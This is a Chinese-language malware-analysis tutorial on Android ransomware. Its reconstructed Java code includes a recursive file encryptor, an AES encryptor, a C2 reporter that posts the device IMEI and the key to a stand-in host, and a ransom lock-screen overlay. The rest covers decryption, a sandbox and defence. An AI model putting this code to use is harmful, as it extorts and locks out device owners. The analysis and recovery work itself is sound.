目录
  1. 1. 一、Android 勒索软件概述
    1. 1.1. 勒索软件分类与特征对比
  2. 2. 二、样本静态分析
    1. 2.1. 权限分析
    2. 2.2. 核心类定位
  3. 3. 三、加密机制深入分析
    1. 3.1. 勒索软件的加密架构
    2. 3.2. 典型 AES 加密实现还原
  4. 4. 四、C2 通信分析
    1. 4.1. C2 通信模式
    2. 4.2. C2 流量分析
  5. 5. 五、勒索界面分析
    1. 5.1. 锁屏实现的底层原理
    2. 5.2. 对抗锁屏的方法
  6. 6. 六、逆向解密与防护
    1. 6.1. 解密路径决策树
    2. 6.2. Python 解密脚本模板
  7. 7. 七、样本分析沙箱环境搭建
  8. 8. 面试常考问题
【逆向安全技术-实战篇】文件加密病毒Wannacry样本分析

一、Android 勒索软件概述

WannaCry 在 PC 端的破坏力令人震惊,Android 平台上同样存在大量仿冒 WannaCry 的勒索软件。它们通常伪装成刷机工具、成人内容播放器或系统优化应用,诱导用户授予大量敏感权限,随后在后台加密用户文件并索要赎金。

Android 勒索软件的两大类型:锁屏型(阻止用户进入桌面)和文件加密型(加密 SD 卡中的文档/图片)。

勒索软件分类与特征对比

┌───────────────────────────────────────────────────────────┐
│ Android 勒索软件分类与技术特征 │
├───────────────────────────────────────────────────────────┤
│ │
│ 类型1:锁屏型(Screen Locker) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ 攻击方式: │ │
│ │ - 使用 TYPE_SYSTEM_ERROR/OVERLAY 悬浮窗覆盖桌面 │ │
│ │ - 禁用返回键、Home 键、状态栏 │ │
│ │ - 修改锁屏密码(DevicePolicyManager.resetPassword) │ │
│ │ - 注册 BOOT_COMPLETED 广播实现开机自启 │ │
│ │ │ │
│ │ 关键技术 API: │ │
│ │ - WindowManager.addView() + │ │
│ │ TYPE_SYSTEM_ERROR / TYPE_APPLICATION_OVERLAY │ │
│ │ - DevicePolicyManager.resetPassword() │ │
│ │ - KeyguardManager.disableKeyguard() │ │
│ │ - onKeyDown() 拦截物理按键 │ │
│ │ │ │
│ │ 对抗难度:中等(ADB 卸载、安全模式启动可解除) │ │
│ └───────────────────────────────────────────────────┘ │
│ │
│ 类型2:文件加密型(Crypto Ransomware) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ 攻击方式: │ │
│ │ - 遍历 SD 卡和内部存储,加密指定类型的文件 │ │
│ │ - 使用 AES/RSA 混合加密 │ │
│ │ - 修改文件扩展名(如 .enc, .locked, .wannacry) │ │
│ │ - C2 通信上传加密密钥 │ │
│ │ - 展示勒索页面,要求支付比特币 │ │
│ │ │ │
│ │ 关键技术 API: │ │
│ │ - javax.crypto.Cipher (AES/DES) │ │
│ │ - File.listFiles() 递归遍历文件系统 │ │
│ │ - File.renameTo() 修改扩展名 │ │
│ │ - HttpURLConnection / OkHttp 连接 C2 服务器 │ │
│ │ │ │
│ │ 对抗难度:高(无密钥几乎无法解密) │ │
│ └───────────────────────────────────────────────────┘ │
│ │
│ 类型3:混合型(Hybrid) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ - 先加密文件,再锁屏勒索 │ │
│ │ - 删除备份和系统还原点 │ │
│ │ - 具有蠕虫传播能力(通过短信/社交网络分享恶意 APK) │ │
│ │ - 部分样本包含远程控制(RAT)功能 │ │
│ └───────────────────────────────────────────────────┘ │
│ │
└───────────────────────────────────────────────────────────┘

二、样本静态分析

拿到样本 APK 后,首先进行静态分析:

# 解包
apktool d ransomware_sample.apk -o sample_unpacked

# JADX 反编译
jadx -d sample_source ransomware_sample.apk

权限分析

在 Manifest 中重点关注以下危险权限组合:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

SYSTEM_ALERT_WINDOW 用于显示全屏勒索页面,RECEIVE_BOOT_COMPLETED 确保开机自动启动。

权限危险等级评估矩阵:

权限 锁屏型需要 加密型需要 蠕虫型需要 风险指标
SYSTEM_ALERT_WINDOW 可选 可选 高:显示全屏勒索页
READ/WRITE_EXTERNAL_STORAGE 高:读写用户文件
INTERNET 可选 可选 中:C2 通信
RECEIVE_BOOT_COMPLETED 高:开机自启
READ_CONTACTS 高:获取联系人传播
SEND_SMS 高:发送恶意链接
RECORD_AUDIO 可选 中:窃听/勒索素材
CAMERA 可选 中:偷拍/勒索素材
ACCESS_FINE_LOCATION 可选 中:追踪受害者
GET_TASKS / FOREGROUND_SERVICE 中:保持后台运行
DEVICE_ADMIN (BIND_DEVICE_ADMIN) 极高:重置密码/擦除设备

核心类定位

在 JADX 中搜索 CipherAESencryptdecrypt 等关键词,定位到加密逻辑代码:

// 典型的 Android 勒索软件加密逻辑
public class FileEncryptor {
public static void encryptFiles(String path) {
File dir = new File(path);
File[] files = dir.listFiles();
for (File f : files) {
if (f.isDirectory()) {
encryptFiles(f.getAbsolutePath()); // 递归加密
} else if (isTargetFile(f)) {
aesEncrypt(f, "hardcoded_key_123"); // 加密文件
f.renameTo(new File(f.getPath() + ".enc")); // 修改后缀
}
}
}

private boolean isTargetFile(File f) {
String name = f.getName().toLowerCase();
return name.endsWith(".txt") || name.endsWith(".jpg")
|| name.endsWith(".mp4") || name.endsWith(".pdf")
|| name.endsWith(".doc") || name.endsWith(".xls");
}
}

勒索软件常见的目标文件扩展名:

文档类:  .doc .docx .xls .xlsx .ppt .pptx .pdf .txt .csv .rtf
图片类: .jpg .jpeg .png .gif .bmp .tiff .psd .raw .svg
视频类: .mp4 .avi .mkv .mov .wmv .flv .3gp
音频类: .mp3 .wav .ogg .flac .aac .wma .m4a
压缩类: .zip .rar .7z .tar .gz .bz2
数据库类:.db .sqlite .sql .mdb .sqlite3
代码类: .java .py .js .html .css .php .c .cpp
应用类: .apk (部分样本会加密设备上的 APK 文件)
其他: .key .pem .cer (数字证书和私钥)

三、加密机制深入分析

勒索软件的加密架构

┌─────────────────────────────────────────────────────┐
│ 文件加密型勒索软件的加密架构 │
├─────────────────────────────────────────────────────┤
│ │
│ 方案 A:对称加密 + 硬编码密钥(弱,可直接恢复) │
│ ┌─────────────────────────────────────────────┐ │
│ │ 生成 AES Key → 硬编码在代码中 │ │
│ │ 对每个文件使用相同 Key 加密 │ │
│ │ 分析者可提取 Key 编写解密器 │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 方案 B:对称加密 + 动态密钥 + C2 上传(中等) │
│ ┌─────────────────────────────────────────────┐ │
│ │ SecureRandom 生成 AES Key (每设备唯一) │ │
│ │ 使用设备 IMEI/Serial 作为种子辅助生成 │ │
│ │ 将 Key 上传到 C2 服务器 │ │
│ │ 分析者需 Hook 密钥生成函数或拦截网络传输 │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 方案 C:混合加密 RSA+AES(强,难以解密) │
│ ┌─────────────────────────────────────────────┐ │
│ │ 服务器持有 RSA 私钥 │ │
│ │ 客户端内嵌 RSA 公钥 │ │
│ │ 客户端生成随机 AES Key │ │
│ │ AES Key 用 RSA 公钥加密 → 存为 encrypted_key │ │
│ │ 文件用 AES Key 加密 │ │
│ │ 赎回后:支付 → 服务器用 RSA 私钥解密 → 返回 │ │
│ │ AES Key → 解密文件 │ │
│ │ 分析者:无法从公钥推导私钥(理论上不可行) │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 方案 D:自定义算法混淆(中强) │
│ ┌─────────────────────────────────────────────┐ │
│ │ 使用 XOR + 自定义 S-Box + 多轮变换 │ │
│ │ Native 层实现加密逻辑(逆向难度增加) │ │
│ │ 密钥从多个来源派生(IMEI + DeviceID + 随机数) │ │
│ │ 分析者需完整逆向加密算法 │ │
│ └─────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────┘

典型 AES 加密实现还原

// 完整的勒索软件 AES 加密实现(逆向还原)
public class RansomwareEncryptor {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 256;
private static final int IV_SIZE = 16;

// 从 C2 服务器获取或本地生成
private SecretKey secretKey;
private byte[] iv;

public RansomwareEncryptor() {
// 生成密钥
try {
KeyGenerator keyGen = KeyGenerator.getInstance(ALGORITHM);
keyGen.init(KEY_SIZE);
secretKey = keyGen.generateKey();

// 生成随机 IV
SecureRandom random = new SecureRandom();
iv = new byte[IV_SIZE];
random.nextBytes(iv);
} catch (Exception e) {
e.printStackTrace();
}
}

public void encryptFile(File inputFile) throws Exception {
// 读取文件内容
FileInputStream fis = new FileInputStream(inputFile);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int len;
while ((len = fis.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
fis.close();

// 加密
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);
byte[] encrypted = cipher.doFinal(bos.toByteArray());

// 写入加密输出文件
// 格式:[IV (16 bytes)][ENCRYPTED_DATA]
FileOutputStream fos = new FileOutputStream(inputFile.getPath() + ".enc");
fos.write(iv); // IV 前置,解密时需要
fos.write(encrypted);
fos.close();

// 可选的:删除原始文件
// inputFile.delete();
}

public void decryptFile(File encryptedFile, SecretKey key) throws Exception {
FileInputStream fis = new FileInputStream(encryptedFile);

// 读取 IV
byte[] iv = new byte[IV_SIZE];
fis.read(iv);

// 读取密文
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int len;
while ((len = fis.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
fis.close();

// 解密
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
byte[] decrypted = cipher.doFinal(bos.toByteArray());

// 写回解密文件
String outputPath = encryptedFile.getPath().replace(".enc", "");
FileOutputStream fos = new FileOutputStream(outputPath);
fos.write(decrypted);
fos.close();
}
}

关键分析点:

  • 密钥来源:若是硬编码字符串 → 直接提取可解密
  • 密钥生成算法:若通过 C2 服务器获取 → 需分析网络请求
  • 加密模式:CBC 模式需保存 IV 向量(通常存储在加密文件头部)
  • 填充模式:PKCS5Padding 最常见;NoPadding 可能暗示自定义分块逻辑

四、C2 通信分析

C2 通信模式

┌────────────────────────────────────────────────────┐
│ 勒索软件 C2 通信架构 │
├────────────────────────────────────────────────────┤
│ │
│ 通信阶段: │
│ │
│ 1. 注册阶段 (Registration) │
│ 客户端 → C2: │
│ - 设备 ID (IMEI/Android ID/Serial) │
│ - 生成的 AES 密钥 (Base64 编码) │
│ - 文件加密进度 │
│ - 设备地区/语言信息 │
│ │
│ 2. 心跳阶段 (Heartbeat) │
│ 定时发送存活信号 │
│ 接收服务器指令(开始加密、更新赎金地址等) │
│ │
│ 3. 赎金支付验证 (Payment Verification) │
│ 客户端 → C2: 支付凭证 │
│ C2 → 客户端: 解密密钥(方案 C 中返回 AES Key) │
│ │
│ 通信隐蔽技术: │
│ - 域名生成算法 (DGA) 动态变换 C2 地址 │
│ - 使用 Tor/代理网络匿名通信 │
│ - 加密的 HTTP 负载(Payload 先用固定密钥加密) │
│ - 通过第三方服务中转(Telegram Bot, Twitter 等) │
│ - 使用 DNS TXT 记录隐藏 C2 指令 │
│ │
└────────────────────────────────────────────────────┘
// 典型的 C2 通信代码(逆向还原)
public class C2Communicator {
private static final String C2_URL = "http://malicious-c2.com/report";
private static final String C2_BACKUP = "http://backup-c2-8x7h3.xyz/report";

public void reportEncryption(String encryptionKey, int fileCount) {
try {
HttpURLConnection conn = (HttpURLConnection)
new URL(C2_URL).openConnection();
conn.setRequestMethod("POST");
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);

String payload = "imei=" + URLEncoder.encode(getIMEI(), "UTF-8")
+ "&key=" + URLEncoder.encode(Base64.encodeToString(
encryptionKey.getBytes(), Base64.DEFAULT), "UTF-8")
+ "&files=" + fileCount
+ "&device=" + URLEncoder.encode(Build.MODEL, "UTF-8")
+ "&country=" + URLEncoder.encode(Locale.getDefault().getCountry(), "UTF-8")
+ "&status=encrypted";

conn.getOutputStream().write(payload.getBytes());

int responseCode = conn.getResponseCode();
if (responseCode == 200) {
// 读取服务器响应(可能包含解密指令)
BufferedReader reader = new BufferedReader(
new InputStreamReader(conn.getInputStream()));
String response = reader.readLine();
// 解析 JSON 响应
// {"status":"ok","decrypt_key":"<Base64>","btc_address":"1A1z..."}
}
} catch (Exception e) {
// 尝试备用 C2
tryBackupC2(encryptionKey, fileCount);
}
}

private String getIMEI() {
try {
TelephonyManager tm = (TelephonyManager)
context.getSystemService(Context.TELEPHONY_SERVICE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
return tm.getImei();
} else {
return tm.getDeviceId();
}
} catch (SecurityException e) {
// 如果无权限,使用 Android ID 作为备选
return Settings.Secure.getString(
context.getContentResolver(), Settings.Secure.ANDROID_ID);
}
}
}

使用 Wireshark 或 mitmproxy 抓包可捕获 C2 通信,获取加密密钥或解密指令。

C2 流量分析

# 1. 使用 mitmproxy 拦截流量
mitmproxy --mode transparent --listen-port 8080

# 2. 设置 iptables 重定向设备流量
adb shell iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-port 8080
adb shell iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-port 8080

# 3. 启动勒索样本
adb shell am start -n com.fake.wannacry/.MainActivity

# 4. 在 mitmproxy 中观察 C2 请求
# 重点关注:
# - POST 请求的 body (可能包含设备 ID、加密密钥)
# - 请求的 User-Agent (可能伪造浏览器)
# - 响应中的 JSON 数据 (可能包含赎金地址、解密指令)

五、勒索界面分析

勒索页面通常通过以下方式展示:

锁屏实现的底层原理

// 方式一:SYSTEM_ALERT_WINDOW 悬浮窗(无法绕过,需要 root 或 ADB 解除)
public class RansomScreenService extends Service {
private WindowManager wm;
private View ransomView;

@Override
public void onCreate() {
super.onCreate();
wm = (WindowManager) getSystemService(WINDOW_SERVICE);

// 创建全屏勒索视图
ransomView = createRansomView();

WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
// Android 8.0+ 使用 TYPE_APPLICATION_OVERLAY
Build.VERSION.SDK_INT >= Build.VERSION_CODES.O
? WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
: WindowManager.LayoutParams.TYPE_SYSTEM_ERROR,
WindowManager.LayoutParams.FLAG_FULLSCREEN |
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE |
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON |
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
PixelFormat.TRANSLUCENT
);

wm.addView(ransomView, params);
}

private View createRansomView() {
LinearLayout layout = new LinearLayout(this);
layout.setOrientation(LinearLayout.VERTICAL);
layout.setBackgroundColor(Color.BLACK);
layout.setGravity(Gravity.CENTER);

// 赎金信息
TextView title = new TextView(this);
title.setText("YOUR FILES HAVE BEEN ENCRYPTED!");
title.setTextColor(Color.RED);
title.setTextSize(24);
title.setGravity(Gravity.CENTER);

TextView instructions = new TextView(this);
instructions.setText("Send 0.1 BTC to: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n" +
"Then contact us at: darkweb@onionmail.org\n" +
"Your ID: " + getUniqueDeviceId());
instructions.setTextColor(Color.WHITE);
instructions.setTextSize(14);
instructions.setGravity(Gravity.CENTER);

layout.addView(title);
layout.addView(instructions);

return layout;
}
}

对抗锁屏的方法

# 方法1:ADB 卸载(USB 调试已开启)
adb shell pm uninstall com.fake.wannacry

# 方法2:安全模式启动
# 长按电源键 → 长按「关机」→ 确认进入安全模式
# 安全模式下仅系统应用和未声明 BOOT_COMPLETED 的应用启动

# 方法3:ADB 清除 Device Admin(如果激活了设备管理器)
adb shell dpm remove-active-admin com.fake.wannacry/.AdminReceiver

# 方法4:ADB 停用应用
adb shell pm disable com.fake.wannacry

# 方法5:通过 Recovery 模式清除 data 分区
# 注意:此操作会清除所有用户数据

# 方法6:ADB shell 删除悬浮窗
adb shell wm dismiss-keyguard
adb shell am stop-user <user_id>

六、逆向解密与防护

解密路径决策树

拿到勒索样本 →

├─ 密钥是硬编码字符串?
│ ├─ 是 → 提取密钥 → 编写解密脚本 → 批量解密
│ └─ 否 ↓

├─ 密钥生成算法可知?
│ ├─ 是 → 逆向算法 → 模拟生成 → 批量解密
│ └─ 否 ↓

├─ 密钥通过 C2 通信传输?
│ ├─ 是 → 抓包分析 → 提取密钥 → 解密
│ └─ 否 ↓

├─ 混合加密(RSA + AES)?
│ ├─ C2 可控? → 尝试重放/篡改注册请求 → 获取 AES Key
│ ├─ 服务器漏洞? → 利用服务器漏洞获取解密密钥
│ └─ 否 → 检查是否有本地残留的密钥文件

└─ 以上都不行?
→ 分析加密实现中的漏洞:
- IV 重用?(CBC 模式可被攻击)
- 可预测的随机数?(SecureRandom 使用不当)
- 加密前的原始文件在未覆盖删除前能否恢复?
- 是否有备份文件残留?

解密路径:

  1. 提取硬编码密钥 → 编写解密脚本
  2. 分析密钥生成算法 → 模拟生成解密密钥
  3. 拦截 C2 通信 → 获取服务器返回的解密 Key

Python 解密脚本模板

#!/usr/bin/env python3
"""勒索软件文件解密器模板"""

import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_file_aes_cbc(encrypted_path, key, output_path=None):
"""
解密 AES-CBC 加密的文件
文件格式假设:[16 bytes IV][Ciphertext]
"""
with open(encrypted_path, 'rb') as f:
iv = f.read(16) # 读取 IV
ciphertext = f.read() # 读取密文

# 确保 key 长度正确
if len(key) not in (16, 24, 32):
# 如果 key 是密码短语,使用 PBKDF2 派生
key = hashlib.sha256(key.encode()).digest()

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

if output_path is None:
output_path = encrypted_path.replace('.enc', '').replace('.locked', '')

with open(output_path, 'wb') as f:
f.write(plaintext)

print(f"[+] Decrypted: {encrypted_path}{output_path}")
return output_path

def batch_decrypt(root_dir, key, extensions=['.enc', '.locked', '.wannacry']):
"""批量解密目录中的加密文件"""
count = 0
for dirpath, dirnames, filenames in os.walk(root_dir):
for filename in filenames:
if any(filename.endswith(ext) for ext in extensions):
full_path = os.path.join(dirpath, filename)
try:
decrypt_file_aes_cbc(full_path, key)
count += 1
except Exception as e:
print(f"[-] Failed to decrypt {full_path}: {e}")

print(f"[+] Total decrypted: {count} files")

# 使用
if __name__ == '__main__':
# 从逆向分析中提取的硬编码密钥
HARDCODED_KEY = b'1234567890abcdef' # 16 bytes = AES-128
# 或从 C2 通信中拦截到的密钥
# INTERCEPTED_KEY = base64.b64decode("MDEyMzQ1Njc4OWFiY2RlZg==")

import sys
if len(sys.argv) > 1:
key = sys.argv[1].encode() if len(sys.argv[1]) in (16, 24, 32) else sys.argv[1].encode()
else:
key = HARDCODED_KEY

batch_decrypt('/sdcard/', key, ['.enc', '.locked'])

防御策略:

  • 定期备份重要文件到云端(遵循 3-2-1 备份原则:3 份拷贝、2 种介质、1 份异地)
  • 不安装非官方渠道的 APK(Google Play 有 Play Protect 扫描)
  • 为重要文件设置只读权限
  • 使用 Android 的 scoped storage 限制应用访问
  • 启用 Google Play Protect 实时扫描
  • 保持设备系统更新(安全补丁)

七、样本分析沙箱环境搭建

#!/bin/bash
# 创建安全的 Android 恶意软件分析沙箱

# 1. 使用 Android 模拟器(推荐)
AVD_NAME="malware_lab"
avdmanager create avd -n $AVD_NAME \
-k "system-images;android-30;google_apis;x86_64" \
-d "pixel_4"

# 2. 以可写系统分区启动(允许安装系统 CA 证书)
emulator -avd $AVD_NAME -writable-system -netdelay none -netspeed full

# 3. 安装分析工具
adb root
adb remount

# Frida Server
adb push frida-server-16.0.0-android-x86_64 /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server-16.0.0-android-x86_64

# tcpdump
adb push tcpdump /data/local/tmp/
adb shell chmod 755 /data/local/tmp/tcpdump

# mitmproxy CA 证书
adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /system/etc/security/cacerts/

# 4. 禁用网络(离线分析样本)
# adb shell svc wifi disable
# adb shell svc data disable

# 5. 创建快照(出问题可快速恢复)
# 在模拟器窗口中: ... → Snapshots → Take snapshot

echo "[+] Malware analysis sandbox ready!"

面试常考问题

Q1:如何判断一个样本是锁屏型还是加密型勒索软件?

A:静态分析:锁屏型样本会大量使用 SYSTEM_ALERT_WINDOWWindowManager.addViewKeyguardManager 等 API,还会使用 onKeyDown 拦截返回键和 Home 键;加密型会使用 CipherFileInputStream/FileOutputStreamFile.renameTo 等。行为分析:在沙盒中运行,锁屏型会立即弹窗覆盖桌面,加密型会静默遍历文件系统。用 adb shell ls /sdcard/ 检查是否有大量文件扩展名被修改。更系统的方法:(1) 使用 API 监控工具(如 Frida 脚本 Hook java.io.File.renameTo)自动检测文件重命名行为;(2) 使用 adb shell dumpsys window 检查是否有悬浮窗;(3) 监控 CPU/IO 负载——加密型在文件遍历和加密过程中会产生显著的 IO 活动。

Q2:勒索软件的密钥通常存在哪里?如何提取?

A:三种常见位置:(1)硬编码在 Java 代码中 → JADX 搜索 Cipher 交叉引用找到密钥常量,通常以字符串或字节数组形式出现,如 private static final String KEY = "mySecretKey123";(2)硬编码在 so 文件中 → IDA 搜索 .rodata 段中的字符串,或者在 SecretKeySpec 构造函数的交叉引用处分析传参,密钥可能是 16/24/32 字节的二进制数据而非可打印字符串;(3)通过 C2 服务器动态下发 → 抓包分析或在加密前 Hook SecretKeySpec 构造方法(SecretKeySpec(byte[] key, String algorithm))获取密钥。辅助方法:使用 Frida Hook javax.crypto.Cipher.init() 的第一个调用,记录传入的 Key 对象,通过 key.getEncoded() 获取原始字节。对于混合加密(RSA+AES),AES Key 是每设备随机生成的,一般通过 C2 上传,需要在加密前 Hook 密钥生成函数。

Q3:如果密钥完全由 C2 下发且使用非对称加密,还有办法解密吗?

A:这种情况下几乎无法解密,因为私钥仅存在于攻击者手中。但仍有以下尝试方向:(1) 尝试 Hook Cipher.init() 在加密发生前中断执行,阻止文件被加密——这是主动防御而非事后解密;(2) 分析是否存在种族条件(race condition)——在加密完成和原始文件删除之间可能存在时间窗口,使用 lsof 查找仍被进程持有的原始文件 fd;(3) 检查 C2 通信是否有漏洞可利用——如服务器配置错误、API 未鉴权、错误响应中泄露密钥;(4) 从内存 dump 中恢复原始文件内容——如果勒索软件在加密时先将文件读入内存中的 byte[] 数组,加密后未清零即释放,可通过分析进程 heap dump 找到原始数据;(5) 文件系统恢复——如果勒索软件使用 renameTo 而非原地加密(先加密到临时文件,删除原始文件),原始文件的磁盘块可能未被覆盖,可通过文件恢复工具(如 PhotoRec)尝试恢复。

Q4:如何分析勒索软件的网络通信(C2)并获取服务器信息?

A:分析步骤:(1) 使用静态分析定位网络请求代码——搜索 HttpURLConnectionOkHttpRetrofitSocket 等 API 的调用,获取 C2 URL;(2) 使用 mitmproxy/Fiddler 设置中间人代理,配置设备代理后运行样本,观察流量;(3) 对于 HTTPS 通信,需要安装代理 CA 证书,对于有证书绑定的样本,使用 Frida Hook TrustManager.checkServerTrustedSSLSocketFactory 绕过;(4) 使用 tcpdump 或 Wireshark 在设备端或路由器端抓包,分析 DNS 请求和原始流量;(5) C2 服务器信息获取后:Whois 查询域名注册信息、使用 Shodan/Censys 扫描服务器端口和服务、查看 SSL 证书信息(可能包含攻击者身份线索)、分析 HTTP 响应的 Server 头判断后端技术栈。

Q5:Android 勒索软件与 PC 勒索软件在技术实现上有哪些主要差异?

A:(1) 文件访问范围:PC 勒索软件可访问所有磁盘分区和网络共享,Android 受限于沙箱和权限模型,主要攻击 SD 卡和内部存储中应用有权访问的部分;(2) 加密实现语言:PC 多用 C/C++(原生性能,遍历快),Android 多在 Java 层使用 javax.crypto 或 C/C++ so 文件实现;(3) 锁屏机制:PC 通过全屏窗口、键盘钩子等实现,Android 利用 SYSTEM_ALERT_WINDOW 悬浮窗和 DevicePolicyManager;(4) 权限获取:PC 通过漏洞提权获取 SYSTEM 权限,Android 通过诱导用户点击授予敏感权限;(5) 传播方式:PC 通过 EternalBlue 等漏洞横向传播,Android 通过诱导下载、SMS/社交网络链接传播;(6) 赎金支付:PC 多用比特币,Android 也支持移动支付、礼品卡等;(7) 对抗难度:Android 可通过 ADB/USB 调试和 Recovery 模式解除锁屏,PC 被锁屏后更难物理恢复。

打赏
  • 微信
  • 支付宝

评论